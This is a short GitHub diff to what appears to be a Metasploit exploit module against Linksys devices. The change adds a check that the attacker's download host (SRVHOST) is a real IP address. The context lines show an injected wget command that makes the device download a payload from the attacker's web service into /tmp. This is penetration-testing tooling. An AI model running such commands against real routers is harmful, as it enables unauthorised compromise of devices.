File tree Expand file tree Collapse file tree 1 file changed +6
-0
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +6
-0
lines changed Original file line number Diff line number Diff line change @@ -161,6 +161,11 @@ def exploit
161
161
datastore [ 'SSL' ] = false
162
162
end
163
163
164
+ #we use SRVHOST as download IP for the coming wget command.
165
+ #SRVHOST needs a real IP address of our download host
166
+ if datastore [ 'SRVHOST' ] =~ /0\. 0\. 0\. 0/
167
+ fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Configure SRVHOST to your local IP address." )
168
+ end
164
169
service_url = 'http://' + datastore [ 'SRVHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
165
170
print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ service_url } ..." )
166
171
start_service ( { 'Uri' => {
@@ -179,6 +184,7 @@ def exploit
179
184
print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to download #{ service_url } " )
180
185
#this filename is used to store the payload on the device
181
186
filename = rand_text_alpha_lower ( 8 )
187
+
182
188
#not working if we send all command together -> lets take three requests
183
189
cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } "
184
190
res = request ( cmd , user , pass , uri )
You can’t perform that action at this time.
0 commit comments